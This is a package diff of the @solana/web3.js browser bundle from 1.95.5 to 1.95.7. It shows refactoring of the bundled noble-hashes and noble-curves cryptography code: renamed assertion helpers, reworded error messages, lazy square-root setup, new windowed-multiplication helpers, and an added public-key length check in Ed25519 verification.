@solana/web3.js 1.95.5 → 1.95.7

package/lib/index.iife.js

@@ -2401,38 +2401,37 @@ var solanaWeb3 = (function (exports) {
 
 	var bufferExports = /*@__PURE__*/ requireBuffer();
 
-	function number$1(n) {
+	function anumber(n) {
 	    if (!Number.isSafeInteger(n) || n < 0)
-	        throw new Error(`positive integer expected, not ${n}`);
+	        throw new Error('positive integer expected, got ' + n);
 	}
 	// copied from utils
 	function isBytes$1(a) {
-	    return (a instanceof Uint8Array ||
-	        (a != null && typeof a === 'object' && a.constructor.name === 'Uint8Array'));
+	    return a instanceof Uint8Array || (ArrayBuffer.isView(a) && a.constructor.name === 'Uint8Array');
 	}
-	function bytes(b, ...lengths) {
+	function abytes$1(b, ...lengths) {
 	    if (!isBytes$1(b))
 	        throw new Error('Uint8Array expected');
 	    if (lengths.length > 0 && !lengths.includes(b.length))
-	        throw new Error(`Uint8Array expected of length ${lengths}, not of length=${b.length}`);
+	        throw new Error('Uint8Array expected of length ' + lengths + ', got length=' + b.length);
 	}
-	function hash(h) {
+	function ahash(h) {
 	    if (typeof h !== 'function' || typeof h.create !== 'function')
 	        throw new Error('Hash should be wrapped by utils.wrapConstructor');
-	    number$1(h.outputLen);
-	    number$1(h.blockLen);
+	    anumber(h.outputLen);
+	    anumber(h.blockLen);
 	}
-	function exists(instance, checkFinished = true) {
+	function aexists(instance, checkFinished = true) {
 	    if (instance.destroyed)
 	        throw new Error('Hash instance has been destroyed');
 	    if (checkFinished && instance.finished)
 	        throw new Error('Hash#digest() has already been called');
 	}
-	function output(out, instance) {
-	    bytes(out);
+	function aoutput(out, instance) {
+	    abytes$1(out);
 	    const min = instance.outputLen;
 	    if (out.length < min) {
-	        throw new Error(`digestInto() expects output buffer of length at least ${min}`);
+	        throw new Error('digestInto() expects output buffer of length at least ' + min);
 	    }
 	}
 
@@ -2450,7 +2449,7 @@ var solanaWeb3 = (function (exports) {
 	const createView = (arr) => new DataView(arr.buffer, arr.byteOffset, arr.byteLength);
 	// The rotate right (circular right shift) operation for uint32
 	const rotr = (word, shift) => (word << (32 - shift)) | (word >>> shift);
-	const isLE = new Uint8Array(new Uint32Array([0x11223344]).buffer)[0] === 0x44;
+	const isLE = /* @__PURE__ */ (() => new Uint8Array(new Uint32Array([0x11223344]).buffer)[0] === 0x44)();
 	// The byte swap operation for uint32
 	const byteSwap = (word) => ((word << 24) & 0xff000000) |
 	    ((word << 8) & 0xff0000) |
@@ -2467,7 +2466,7 @@ var solanaWeb3 = (function (exports) {
 	 */
 	function utf8ToBytes$1(str) {
 	    if (typeof str !== 'string')
-	        throw new Error(`utf8ToBytes expected string, got ${typeof str}`);
+	        throw new Error('utf8ToBytes expected string, got ' + typeof str);
 	    return new Uint8Array(new TextEncoder().encode(str)); // https://bugzil.la/1681809
 	}
 	/**
@@ -2478,7 +2477,7 @@ var solanaWeb3 = (function (exports) {
 	function toBytes(data) {
 	    if (typeof data === 'string')
 	        data = utf8ToBytes$1(data);
-	    bytes(data);
+	    abytes$1(data);
 	    return data;
 	}
 	/**
@@ -2488,7 +2487,7 @@ var solanaWeb3 = (function (exports) {
 	    let sum = 0;
 	    for (let i = 0; i < arrays.length; i++) {
 	        const a = arrays[i];
-	        bytes(a);
+	        abytes$1(a);
 	        sum += a.length;
 	    }
 	    const res = new Uint8Array(sum);
@@ -2570,7 +2569,7 @@ var solanaWeb3 = (function (exports) {
 	        this.view = createView(this.buffer);
 	    }
 	    update(data) {
-	        exists(this);
+	        aexists(this);
 	        const { view, buffer, blockLen } = this;
 	        data = toBytes(data);
 	        const len = data.length;
@@ -2596,8 +2595,8 @@ var solanaWeb3 = (function (exports) {
 	        return this;
 	    }
 	    digestInto(out) {
-	        exists(this);
-	        output(out, this);
+	        aexists(this);
+	        aoutput(out, this);
 	        this.finished = true;
 	        // Padding
 	        // We can avoid allocation of buffer for padding completely if it
@@ -2656,7 +2655,8 @@ var solanaWeb3 = (function (exports) {
 
 	const U32_MASK64 = /* @__PURE__ */ BigInt(2 ** 32 - 1);
 	const _32n = /* @__PURE__ */ BigInt(32);
-	// We are not using BigUint64Array, because they are extremely slow as per 2022
+	// BigUint64Array is too slow as per 2024, so we implement it using Uint32Array.
+	// TODO: re-check https://issues.chromium.org/issues/42212588
 	function fromBig(n, le = false) {
 	    if (le)
 	        return { h: Number(n & U32_MASK64), l: Number((n >> _32n) & U32_MASK64) };
@@ -2878,8 +2878,7 @@ var solanaWeb3 = (function (exports) {
 	const _1n$7 = /* @__PURE__ */ BigInt(1);
 	const _2n$5 = /* @__PURE__ */ BigInt(2);
 	function isBytes(a) {
-	    return (a instanceof Uint8Array ||
-	        (a != null && typeof a === 'object' && a.constructor.name === 'Uint8Array'));
+	    return a instanceof Uint8Array || (ArrayBuffer.isView(a) && a.constructor.name === 'Uint8Array');
 	}
 	function abytes(item) {
 	    if (!isBytes(item))
@@ -2887,7 +2886,7 @@ var solanaWeb3 = (function (exports) {
 	}
 	function abool(title, value) {
 	    if (typeof value !== 'boolean')
-	        throw new Error(`${title} must be valid boolean, got "${value}".`);
+	        throw new Error(title + ' boolean expected, got ' + value);
 	}
 	// Array where index 0xf0 (240) is mapped to string 'f0'
 	const hexes = /* @__PURE__ */ Array.from({ length: 256 }, (_, i) => i.toString(16).padStart(2, '0'));
@@ -2905,23 +2904,22 @@ var solanaWeb3 = (function (exports) {
 	}
 	function numberToHexUnpadded(num) {
 	    const hex = num.toString(16);
-	    return hex.length & 1 ? `0${hex}` : hex;
+	    return hex.length & 1 ? '0' + hex : hex;
 	}
 	function hexToNumber(hex) {
 	    if (typeof hex !== 'string')
 	        throw new Error('hex string expected, got ' + typeof hex);
-	    // Big Endian
-	    return BigInt(hex === '' ? '0' : `0x${hex}`);
+	    return hex === '' ? _0n$5 : BigInt('0x' + hex); // Big Endian
 	}
 	// We use optimized technique to convert hex string to byte array
-	const asciis = { _0: 48, _9: 57, _A: 65, _F: 70, _a: 97, _f: 102 };
-	function asciiToBase16(char) {
-	    if (char >= asciis._0 && char <= asciis._9)
-	        return char - asciis._0;
-	    if (char >= asciis._A && char <= asciis._F)
-	        return char - (asciis._A - 10);
-	    if (char >= asciis._a && char <= asciis._f)
-	        return char - (asciis._a - 10);
+	const asciis = { _0: 48, _9: 57, A: 65, F: 70, a: 97, f: 102 };
+	function asciiToBase16(ch) {
+	    if (ch >= asciis._0 && ch <= asciis._9)
+	        return ch - asciis._0; // '2' => 50-48
+	    if (ch >= asciis.A && ch <= asciis.F)
+	        return ch - (asciis.A - 10); // 'B' => 66-(65-10)
+	    if (ch >= asciis.a && ch <= asciis.f)
+	        return ch - (asciis.a - 10); // 'b' => 98-(97-10)
 	    return;
 	}
 	/**
@@ -2933,7 +2931,7 @@ var solanaWeb3 = (function (exports) {
 	    const hl = hex.length;
 	    const al = hl / 2;
 	    if (hl % 2)
-	        throw new Error('padded hex string expected, got unpadded hex of length ' + hl);
+	        throw new Error('hex string expected, got unpadded hex of length ' + hl);
 	    const array = new Uint8Array(al);
 	    for (let ai = 0, hi = 0; ai < al; ai++, hi += 2) {
 	        const n1 = asciiToBase16(hex.charCodeAt(hi));
@@ -2942,7 +2940,7 @@ var solanaWeb3 = (function (exports) {
 	            const char = hex[hi] + hex[hi + 1];
 	            throw new Error('hex string expected, got non-hex character "' + char + '" at index ' + hi);
 	        }
-	        array[ai] = n1 * 16 + n2;
+	        array[ai] = n1 * 16 + n2; // multiply first octet, e.g. 'a3' => 10*16+3 => 160 + 3 => 163
 	    }
 	    return array;
 	}
@@ -2980,7 +2978,7 @@ var solanaWeb3 = (function (exports) {
 	            res = hexToBytes(hex);
 	        }
 	        catch (e) {
-	            throw new Error(`${title} must be valid hex string, got "${hex}". Cause: ${e}`);
+	            throw new Error(title + ' must be hex string or Uint8Array, cause: ' + e);
 	        }
 	    }
 	    else if (isBytes(hex)) {
@@ -2989,11 +2987,11 @@ var solanaWeb3 = (function (exports) {
 	        res = Uint8Array.from(hex);
 	    }
 	    else {
-	        throw new Error(`${title} must be hex string or Uint8Array`);
+	        throw new Error(title + ' must be hex string or Uint8Array');
 	    }
 	    const len = res.length;
 	    if (typeof expectedLength === 'number' && len !== expectedLength)
-	        throw new Error(`${title} expected ${expectedLength} bytes, got ${len}`);
+	        throw new Error(title + ' of length ' + expectedLength + ' expected, got ' + len);
 	    return res;
 	}
 	/**
@@ -3028,7 +3026,7 @@ var solanaWeb3 = (function (exports) {
 	 */
 	function utf8ToBytes(str) {
 	    if (typeof str !== 'string')
-	        throw new Error(`utf8ToBytes expected string, got ${typeof str}`);
+	        throw new Error('string expected');
 	    return new Uint8Array(new TextEncoder().encode(str)); // https://bugzil.la/1681809
 	}
 	// Is positive bigint
@@ -3048,7 +3046,7 @@ var solanaWeb3 = (function (exports) {
 	    // - b would commonly require subtraction:  `inRange('x', x, 0n, P - 1n)`
 	    // - our way is the cleanest:               `inRange('x', x, 0n, P)
 	    if (!inRange(n, min, max))
-	        throw new Error(`expected valid ${title}: ${min} <= n < ${max}, got ${typeof n} ${n}`);
+	        throw new Error('expected valid ' + title + ': ' + min + ' <= n < ' + max + ', got ' + n);
 	}
 	// Bit operations
 	/**
@@ -3158,12 +3156,12 @@ var solanaWeb3 = (function (exports) {
 	    const checkField = (fieldName, type, isOptional) => {
 	        const checkVal = validatorFns[type];
 	        if (typeof checkVal !== 'function')
-	            throw new Error(`Invalid validator "${type}", expected function`);
+	            throw new Error('invalid validator function');
 	        const val = object[fieldName];
 	        if (isOptional && val === undefined)
 	            return;
 	        if (!checkVal(val, object)) {
-	            throw new Error(`Invalid param ${String(fieldName)}=${val} (${typeof val}), expected ${type}`);
+	            throw new Error('param ' + String(fieldName) + ' is invalid. Expected ' + type + ', got ' + val);
 	        }
 	    };
 	    for (const [fieldName, type] of Object.entries(validators))
@@ -3235,11 +3233,9 @@ var solanaWeb3 = (function (exports) {
 	/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */
 	// Utilities for modular arithmetics and finite fields
 	// prettier-ignore
-	const _0n$4 = BigInt(0), _1n$6 = BigInt(1), _2n$4 = BigInt(2), _3n$1 = BigInt(3);
+	const _0n$4 = BigInt(0), _1n$6 = BigInt(1), _2n$4 = /* @__PURE__ */ BigInt(2), _3n$1 = /* @__PURE__ */ BigInt(3);
 	// prettier-ignore
-	const _4n = BigInt(4), _5n$1 = BigInt(5), _8n$2 = BigInt(8);
-	// prettier-ignore
-	BigInt(9); BigInt(16);
+	const _4n = /* @__PURE__ */ BigInt(4), _5n$1 = /* @__PURE__ */ BigInt(5), _8n$2 = /* @__PURE__ */ BigInt(8);
 	// Calculates a modulo b
 	function mod(a, b) {
 	    const result = a % b;
@@ -3253,8 +3249,10 @@ var solanaWeb3 = (function (exports) {
 	 */
 	// TODO: use field version && remove
 	function pow(num, power, modulo) {
-	    if (modulo <= _0n$4 || power < _0n$4)
-	        throw new Error('Expected power/modulo > 0');
+	    if (power < _0n$4)
+	        throw new Error('invalid exponent, negatives unsupported');
+	    if (modulo <= _0n$4)
+	        throw new Error('invalid modulus');
 	    if (modulo === _1n$6)
 	        return _0n$4;
 	    let res = _1n$6;
@@ -3277,9 +3275,10 @@ var solanaWeb3 = (function (exports) {
 	}
 	// Inverses number over modulo
 	function invert(number, modulo) {
-	    if (number === _0n$4 || modulo <= _0n$4) {
-	        throw new Error(`invert: expected positive integers, got n=${number} mod=${modulo}`);
-	    }
+	    if (number === _0n$4)
+	        throw new Error('invert: expected non-zero number');
+	    if (modulo <= _0n$4)
+	        throw new Error('invert: expected positive modulus, got ' + modulo);
 	    // Euclidean GCD https://brilliant.org/wiki/extended-euclidean-algorithm/
 	    // Fermat's little theorem "CT-like" version inv(n) = n^(m-2) mod m is 30x slower.
 	    let a = mod(number, modulo);
@@ -3320,8 +3319,11 @@ var solanaWeb3 = (function (exports) {
 	    for (Q = P - _1n$6, S = 0; Q % _2n$4 === _0n$4; Q /= _2n$4, S++)
 	        ;
 	    // Step 2: Select a non-square z such that (z | p) ≡ -1 and set c ≡ zq
-	    for (Z = _2n$4; Z < P && pow(Z, legendreC, P) !== P - _1n$6; Z++)
-	        ;
+	    for (Z = _2n$4; Z < P && pow(Z, legendreC, P) !== P - _1n$6; Z++) {
+	        // Crash instead of infinity loop, we cannot reasonable count until P.
+	        if (Z > 1000)
+	            throw new Error('Cannot find square root: likely non-prime P');
+	    }
 	    // Fast-path
 	    if (S === 1) {
 	        const p1div4 = (P + _1n$6) / _4n;
@@ -3429,7 +3431,7 @@ var solanaWeb3 = (function (exports) {
 	    // Should have same speed as pow for bigints
 	    // TODO: benchmark!
 	    if (power < _0n$4)
-	        throw new Error('Expected power > 0');
+	        throw new Error('invalid exponent, negatives unsupported');
 	    if (power === _0n$4)
 	        return f.ONE;
 	    if (power === _1n$6)
@@ -3492,11 +3494,11 @@ var solanaWeb3 = (function (exports) {
 	 */
 	function Field(ORDER, bitLen, isLE = false, redef = {}) {
 	    if (ORDER <= _0n$4)
-	        throw new Error(`Expected Field ORDER > 0, got ${ORDER}`);
+	        throw new Error('invalid field: expected ORDER > 0, got ' + ORDER);
 	    const { nBitLength: BITS, nByteLength: BYTES } = nLength(ORDER, bitLen);
 	    if (BYTES > 2048)
-	        throw new Error('Field lengths over 2048 bytes are not supported');
-	    const sqrtP = FpSqrt(ORDER);
+	        throw new Error('invalid field: expected ORDER of <= 2048 bytes');
+	    let sqrtP; // cached sqrtP
 	    const f = Object.freeze({
 	        ORDER,
 	        BITS,
@@ -3507,7 +3509,7 @@ var solanaWeb3 = (function (exports) {
 	        create: (num) => mod(num, ORDER),
 	        isValid: (num) => {
 	            if (typeof num !== 'bigint')
-	                throw new Error(`Invalid field element: expected bigint, got ${typeof num}`);
+	                throw new Error('invalid field element: expected bigint, got ' + typeof num);
 	            return _0n$4 <= num && num < ORDER; // 0 is valid element, but it's not invertible
 	        },
 	        is0: (num) => num === _0n$4,
@@ -3526,7 +3528,12 @@ var solanaWeb3 = (function (exports) {
 	        subN: (lhs, rhs) => lhs - rhs,
 	        mulN: (lhs, rhs) => lhs * rhs,
 	        inv: (num) => invert(num, ORDER),
-	        sqrt: redef.sqrt || ((n) => sqrtP(f, n)),
+	        sqrt: redef.sqrt ||
+	            ((n) => {
+	                if (!sqrtP)
+	                    sqrtP = FpSqrt(ORDER);
+	                return sqrtP(f, n);
+	            }),
 	        invertBatch: (lst) => FpInvertBatch(f, lst),
 	        // TODO: do we really need constant cmov?
 	        // We don't have const-time bigints anyway, so probably will be not very useful
@@ -3534,7 +3541,7 @@ var solanaWeb3 = (function (exports) {
 	        toBytes: (num) => (isLE ? numberToBytesLE(num, BYTES) : numberToBytesBE(num, BYTES)),
 	        fromBytes: (bytes) => {
 	            if (bytes.length !== BYTES)
-	                throw new Error(`Fp.fromBytes: expected ${BYTES}, got ${bytes.length}`);
+	                throw new Error('Field.fromBytes: expected ' + BYTES + ' bytes, got ' + bytes.length);
 	            return isLE ? bytesToNumberLE(bytes) : bytesToNumberBE(bytes);
 	        },
 	    });
@@ -3582,7 +3589,7 @@ var solanaWeb3 = (function (exports) {
 	    const minLen = getMinHashLength(fieldOrder);
 	    // No small numbers: need to understand bias story. No huge numbers: easier to detect JS timings.
 	    if (len < 16 || len < minLen || len > 1024)
-	        throw new Error(`expected ${minLen}-1024 bytes of input, got ${len}`);
+	        throw new Error('expected ' + minLen + '-1024 bytes of input, got ' + len);
 	    const num = isLE ? bytesToNumberBE(key) : bytesToNumberLE(key);
 	    // `mod(x, 11)` can sometimes produce 0. `mod(x, 10) + 1` is the same, but no 0
 	    const reduced = mod(num, fieldOrder - _1n$6) + _1n$6;
@@ -3593,10 +3600,43 @@ var solanaWeb3 = (function (exports) {
 	// Abelian group utilities
 	const _0n$3 = BigInt(0);
 	const _1n$5 = BigInt(1);
+	function constTimeNegate(condition, item) {
+	    const neg = item.negate();
+	    return condition ? neg : item;
+	}
+	function validateW(W, bits) {
+	    if (!Number.isSafeInteger(W) || W <= 0 || W > bits)
+	        throw new Error('invalid window size, expected [1..' + bits + '], got W=' + W);
+	}
+	function calcWOpts(W, bits) {
+	    validateW(W, bits);
+	    const windows = Math.ceil(bits / W) + 1; // +1, because
+	    const windowSize = 2 ** (W - 1); // -1 because we skip zero
+	    return { windows, windowSize };
+	}
+	function validateMSMPoints(points, c) {
+	    if (!Array.isArray(points))
+	        throw new Error('array expected');
+	    points.forEach((p, i) => {
+	        if (!(p instanceof c))
+	            throw new Error('invalid point at index ' + i);
+	    });
+	}
+	function validateMSMScalars(scalars, field) {
+	    if (!Array.isArray(scalars))
+	        throw new Error('array of scalars expected');
+	    scalars.forEach((s, i) => {
+	        if (!field.isValid(s))
+	            throw new Error('invalid scalar at index ' + i);
+	    });
+	}
 	// Since points in different groups cannot be equal (different object constructor),
 	// we can have single place to store precomputes
 	const pointPrecomputes = new WeakMap();
 	const pointWindowSizes = new WeakMap(); // This allows use make points immutable (nothing changes inside)
+	function getW(P) {
+	    return pointWindowSizes.get(P) || 1;
+	}
 	// Elliptic curve multiplication of Point by scalar. Fragile.
 	// Scalars should always be less than curve order: this should be checked inside of a curve itself.
 	// Creates precomputation tables for fast multiplication:
@@ -3609,25 +3649,13 @@ var solanaWeb3 = (function (exports) {
 	// TODO: Research returning 2d JS array of windows, instead of a single window. This would allow
 	// windows to be in different memory locations
 	function wNAF(c, bits) {
-	    const constTimeNegate = (condition, item) => {
-	        const neg = item.negate();
-	        return condition ? neg : item;
-	    };
-	    const validateW = (W) => {
-	        if (!Number.isSafeInteger(W) || W <= 0 || W > bits)
-	            throw new Error(`Wrong window size=${W}, should be [1..${bits}]`);
-	    };
-	    const opts = (W) => {
-	        validateW(W);
-	        const windows = Math.ceil(bits / W) + 1; // +1, because
-	        const windowSize = 2 ** (W - 1); // -1 because we skip zero
-	        return { windows, windowSize };
-	    };
 	    return {
 	        constTimeNegate,
+	        hasPrecomputes(elm) {
+	            return getW(elm) !== 1;
+	        },
 	        // non-const time multiplication ladder
-	        unsafeLadder(elm, n) {
-	            let p = c.ZERO;
+	        unsafeLadder(elm, n, p = c.ZERO) {
 	            let d = elm;
 	            while (n > _0n$3) {
 	                if (n & _1n$5)
@@ -3645,10 +3673,12 @@ var solanaWeb3 = (function (exports) {
 	         * - 𝑊 is the window size
 	         * - 𝑛 is the bitlength of the curve order.
 	         * For a 256-bit curve and window size 8, the number of precomputed points is 128 * 33 = 4224.
+	         * @param elm Point instance
+	         * @param W window size
 	         * @returns precomputed point tables flattened to a single array
 	         */
 	        precomputeWindow(elm, W) {
-	            const { windows, windowSize } = opts(W);
+	            const { windows, windowSize } = calcWOpts(W, bits);
 	            const points = [];
 	            let p = elm;
 	            let base = p;
@@ -3674,7 +3704,7 @@ var solanaWeb3 = (function (exports) {
 	        wNAF(W, precomputes, n) {
 	            // TODO: maybe check that scalar is less than group order? wNAF behavious is undefined otherwise
 	            // But need to carefully remove other checks before wNAF. ORDER == bits here
-	            const { windows, windowSize } = opts(W);
+	            const { windows, windowSize } = calcWOpts(W, bits);
 	            let p = c.ZERO;
 	            let f = c.BASE;
 	            const mask = BigInt(2 ** W - 1); // Create mask with W ones: 0b1111 for W=4 etc.
@@ -3718,8 +3748,44 @@ var solanaWeb3 = (function (exports) {
 	            // which makes it less const-time: around 1 bigint multiply.
 	            return { p, f };
 	        },
-	        wNAFCached(P, n, transform) {
-	            const W = pointWindowSizes.get(P) || 1;
+	        /**
+	         * Implements ec unsafe (non const-time) multiplication using precomputed tables and w-ary non-adjacent form.
+	         * @param W window size
+	         * @param precomputes precomputed tables
+	         * @param n scalar (we don't check here, but should be less than curve order)
+	         * @param acc accumulator point to add result of multiplication
+	         * @returns point
+	         */
+	        wNAFUnsafe(W, precomputes, n, acc = c.ZERO) {
+	            const { windows, windowSize } = calcWOpts(W, bits);
+	            const mask = BigInt(2 ** W - 1); // Create mask with W ones: 0b1111 for W=4 etc.
+	            const maxNumber = 2 ** W;
+	            const shiftBy = BigInt(W);
+	            for (let window = 0; window < windows; window++) {
+	                const offset = window * windowSize;
+	                if (n === _0n$3)
+	                    break; // No need to go over empty scalar
+	                // Extract W bits.
+	                let wbits = Number(n & mask);
+	                // Shift number by W bits.
+	                n >>= shiftBy;
+	                // If the bits are bigger than max size, we'll split those.
+	                // +224 => 256 - 32
+	                if (wbits > windowSize) {
+	                    wbits -= maxNumber;
+	                    n += _1n$5;
+	                }
+	                if (wbits === 0)
+	                    continue;
+	                let curr = precomputes[offset + Math.abs(wbits) - 1]; // -1 because we skip zero
+	                if (wbits < 0)
+	                    curr = curr.negate();
+	                // NOTE: by re-using acc, we can save a lot of additions in case of MSM
+	                acc = acc.add(curr);
+	            }
+	            return acc;
+	        },
+	        getPrecomputes(W, P, transform) {
 	            // Calculate precomputes on a first run, reuse them after
 	            let comp = pointPrecomputes.get(P);
 	            if (!comp) {
@@ -3727,62 +3793,66 @@ var solanaWeb3 = (function (exports) {
 	                if (W !== 1)
 	                    pointPrecomputes.set(P, transform(comp));
 	            }
-	            return this.wNAF(W, comp, n);
+	            return comp;
+	        },
+	        wNAFCached(P, n, transform) {
+	            const W = getW(P);
+	            return this.wNAF(W, this.getPrecomputes(W, P, transform), n);
+	        },
+	        wNAFCachedUnsafe(P, n, transform, prev) {
+	            const W = getW(P);
+	            if (W === 1)
+	                return this.unsafeLadder(P, n, prev); // For W=1 ladder is ~x2 faster
+	            return this.wNAFUnsafe(W, this.getPrecomputes(W, P, transform), n, prev);
 	        },
 	        // We calculate precomputes for elliptic curve point multiplication
 	        // using windowed method. This specifies window size and
 	        // stores precomputed values. Usually only base point would be precomputed.
 	        setWindowSize(P, W) {
-	            validateW(W);
+	            validateW(W, bits);
 	            pointWindowSizes.set(P, W);
 	            pointPrecomputes.delete(P);
 	        },
 	    };
 	}
 	/**
-	 * Pippenger algorithm for multi-scalar multiplication (MSM).
-	 * MSM is basically (Pa + Qb + Rc + ...).
+	 * Pippenger algorithm for multi-scalar multiplication (MSM, Pa + Qb + Rc + ...).
 	 * 30x faster vs naive addition on L=4096, 10x faster with precomputes.
 	 * For N=254bit, L=1, it does: 1024 ADD + 254 DBL. For L=5: 1536 ADD + 254 DBL.
 	 * Algorithmically constant-time (for same L), even when 1 point + scalar, or when scalar = 0.
 	 * @param c Curve Point constructor
-	 * @param field field over CURVE.N - important that it's not over CURVE.P
+	 * @param fieldN field over CURVE.N - important that it's not over CURVE.P
 	 * @param points array of L curve points
 	 * @param scalars array of L scalars (aka private keys / bigints)
 	 */
-	function pippenger(c, field, points, scalars) {
+	function pippenger(c, fieldN, points, scalars) {
 	    // If we split scalars by some window (let's say 8 bits), every chunk will only
 	    // take 256 buckets even if there are 4096 scalars, also re-uses double.
 	    // TODO:
 	    // - https://eprint.iacr.org/2024/750.pdf
 	    // - https://tches.iacr.org/index.php/TCHES/article/view/10287
 	    // 0 is accepted in scalars
-	    if (!Array.isArray(points) || !Array.isArray(scalars) || scalars.length !== points.length)
+	    validateMSMPoints(points, c);
+	    validateMSMScalars(scalars, fieldN);
+	    if (points.length !== scalars.length)
 	        throw new Error('arrays of points and scalars must have equal length');
-	    scalars.forEach((s, i) => {
-	        if (!field.isValid(s))
-	            throw new Error(`wrong scalar at index ${i}`);
-	    });
-	    points.forEach((p, i) => {
-	        if (!(p instanceof c))
-	            throw new Error(`wrong point at index ${i}`);
-	    });
+	    const zero = c.ZERO;
 	    const wbits = bitLen(BigInt(points.length));
 	    const windowSize = wbits > 12 ? wbits - 3 : wbits > 4 ? wbits - 2 : wbits ? 2 : 1; // in bits
 	    const MASK = (1 << windowSize) - 1;
-	    const buckets = new Array(MASK + 1).fill(c.ZERO); // +1 for zero array
-	    const lastBits = Math.floor((field.BITS - 1) / windowSize) * windowSize;
-	    let sum = c.ZERO;
+	    const buckets = new Array(MASK + 1).fill(zero); // +1 for zero array
+	    const lastBits = Math.floor((fieldN.BITS - 1) / windowSize) * windowSize;
+	    let sum = zero;
 	    for (let i = lastBits; i >= 0; i -= windowSize) {
-	        buckets.fill(c.ZERO);
+	        buckets.fill(zero);
 	        for (let j = 0; j < scalars.length; j++) {
 	            const scalar = scalars[j];
 	            const wbits = Number((scalar >> BigInt(i)) & BigInt(MASK));
 	            buckets[wbits] = buckets[wbits].add(points[j]);
 	        }
-	        let resI = c.ZERO; // not using this will do small speed-up, but will lose ct
+	        let resI = zero; // not using this will do small speed-up, but will lose ct
 	        // Skip first bucket, because it is zero
-	        for (let j = buckets.length - 1, sumI = c.ZERO; j > 0; j--) {
+	        for (let j = buckets.length - 1, sumI = zero; j > 0; j--) {
 	            sumI = sumI.add(buckets[j]);
 	            resI = resI.add(sumI);
 	        }
@@ -3845,6 +3915,10 @@ var solanaWeb3 = (function (exports) {
 	function twistedEdwards(curveDef) {
 	    const CURVE = validateOpts$1(curveDef);
 	    const { Fp, n: CURVE_ORDER, prehash: prehash, hash: cHash, randomBytes, nByteLength, h: cofactor, } = CURVE;
+	    // Important:
+	    // There are some places where Fp.BYTES is used instead of nByteLength.
+	    // So far, everything has been tested with curves of Fp.BYTES == nByteLength.
+	    // TODO: test and find curves which behave otherwise.
 	    const MASK = _2n$3 << (BigInt(nByteLength * 8) - _1n$4);
 	    const modP = Fp.create; // Function overrides
 	    const Fn = Field(CURVE.n, CURVE.nBitLength);
@@ -4058,16 +4132,15 @@ var solanaWeb3 = (function (exports) {
 	        // It's faster, but should only be used when you don't care about
 	        // an exposed private key e.g. sig verification.
 	        // Does NOT allow scalars higher than CURVE.n.
-	        multiplyUnsafe(scalar) {
+	        // Accepts optional accumulator to merge with multiply (important for sparse scalars)
+	        multiplyUnsafe(scalar, acc = Point.ZERO) {
 	            const n = scalar;
 	            aInRange('scalar', n, _0n$2, CURVE_ORDER); // 0 <= scalar < L
 	            if (n === _0n$2)
 	                return I;
-	            if (this.equals(I) || n === _1n$4)
+	            if (this.is0() || n === _1n$4)
 	                return this;
-	            if (this.equals(G))
-	                return this.wNAF(n).p;
-	            return wnaf.unsafeLadder(this, n);
+	            return wnaf.wNAFCachedUnsafe(this, n, Point.normalizeZ, acc);
 	        }
 	        // Checks if point is of small order.
 	        // If you add something to small order point, you will have "dirty"
@@ -4103,6 +4176,7 @@ var solanaWeb3 = (function (exports) {
 	            const lastByte = hex[len - 1]; // select last byte
 	            normed[len - 1] = lastByte & ~0x80; // clear last bit
 	            const y = bytesToNumberLE(normed);
+	            // zip215=true is good for consensus-critical apps. =false follows RFC8032 / NIST186-5.
 	            // RFC8032 prohibits >= p, but ZIP215 doesn't
 	            // zip215=true:  0 <= y < MASK (2^256 for ed25519)
 	            // zip215=false: 0 <= y < P (2^255-19 for ed25519)
@@ -4151,7 +4225,7 @@ var solanaWeb3 = (function (exports) {
 	    }
 	    /** Convenience method that creates public key and other stuff. RFC8032 5.1.5 */
 	    function getExtendedPublicKey(key) {
-	        const len = nByteLength;
+	        const len = Fp.BYTES;
 	        key = ensureBytes('private key', key, len);
 	        // Hash private key with curve's hash function to produce uniformingly random input
 	        // Check byte lengths: ensure(64, h(ensure(32, key)))
@@ -4184,23 +4258,29 @@ var solanaWeb3 = (function (exports) {
 	        const s = modN(r + k * scalar); // S = (r + k * s) mod L
 	        aInRange('signature.s', s, _0n$2, CURVE_ORDER); // 0 <= s < l
 	        const res = concatBytes(R, numberToBytesLE(s, Fp.BYTES));
-	        return ensureBytes('result', res, nByteLength * 2); // 64-byte signature
+	        return ensureBytes('result', res, Fp.BYTES * 2); // 64-byte signature
 	    }
 	    const verifyOpts = VERIFY_DEFAULT;
+	    /**
+	     * Verifies EdDSA signature against message and public key. RFC8032 5.1.7.
+	     * An extended group equation is checked.
+	     */
 	    function verify(sig, msg, publicKey, options = verifyOpts) {
 	        const { context, zip215 } = options;
 	        const len = Fp.BYTES; // Verifies EdDSA signature against message and public key. RFC8032 5.1.7.
 	        sig = ensureBytes('signature', sig, 2 * len); // An extended group equation is checked.
 	        msg = ensureBytes('message', msg);
+	        publicKey = ensureBytes('publicKey', publicKey, len);
 	        if (zip215 !== undefined)
 	            abool('zip215', zip215);
 	        if (prehash)
 	            msg = prehash(msg); // for ed25519ph, etc
 	        const s = bytesToNumberLE(sig.slice(len, 2 * len));
-	        // zip215: true is good for consensus-critical apps and allows points < 2^256
-	        // zip215: false follows RFC8032 / NIST186-5 and restricts points to CURVE.p
 	        let A, R, SB;
 	        try {
+	            // zip215=true is good for consensus-critical apps. =false follows RFC8032 / NIST186-5.
+	            // zip215=true:  0 <= y < MASK (2^256 for ed25519)
+	            // zip215=false: 0 <= y < P (2^255-19 for ed25519)
 	            A = Point.fromHex(publicKey, zip215);
 	            R = Point.fromHex(sig.slice(0, len), zip215);
 	            SB = G.multiplyUnsafe(s); // 0 <= s < l is done inside
@@ -4212,6 +4292,7 @@ var solanaWeb3 = (function (exports) {
 	            return false;
 	        const k = hashDomainToScalar(context, R.toRawBytes(), A.toRawBytes(), msg);
 	        const RkA = R.add(A.multiplyUnsafe(k));
+	        // Extended group equation
 	        // [8][S]B = [8]R + [8][k]A'
 	        return RkA.subtract(SB).clearCofactor().equals(Point.ZERO);
 	    }
@@ -4307,7 +4388,7 @@ var solanaWeb3 = (function (exports) {
 	        x = mod(-x, P);
 	    return { isValid: useRoot1 || useRoot2, value: x };
 	}
-	const Fp$1 = /* @__PURE__ */ (() => Field(ED25519_P, undefined, true))();
+	const Fp = /* @__PURE__ */ (() => Field(ED25519_P, undefined, true))();
 	const ed25519Defaults = /* @__PURE__ */ (() => ({
 	    // Param: a
 	    a: BigInt(-1), // Fp.create(-1) is proper; our way still works and is faster
@@ -4315,7 +4396,7 @@ var solanaWeb3 = (function (exports) {
 	    // Negative number is P - number, and division is invert(number, P)
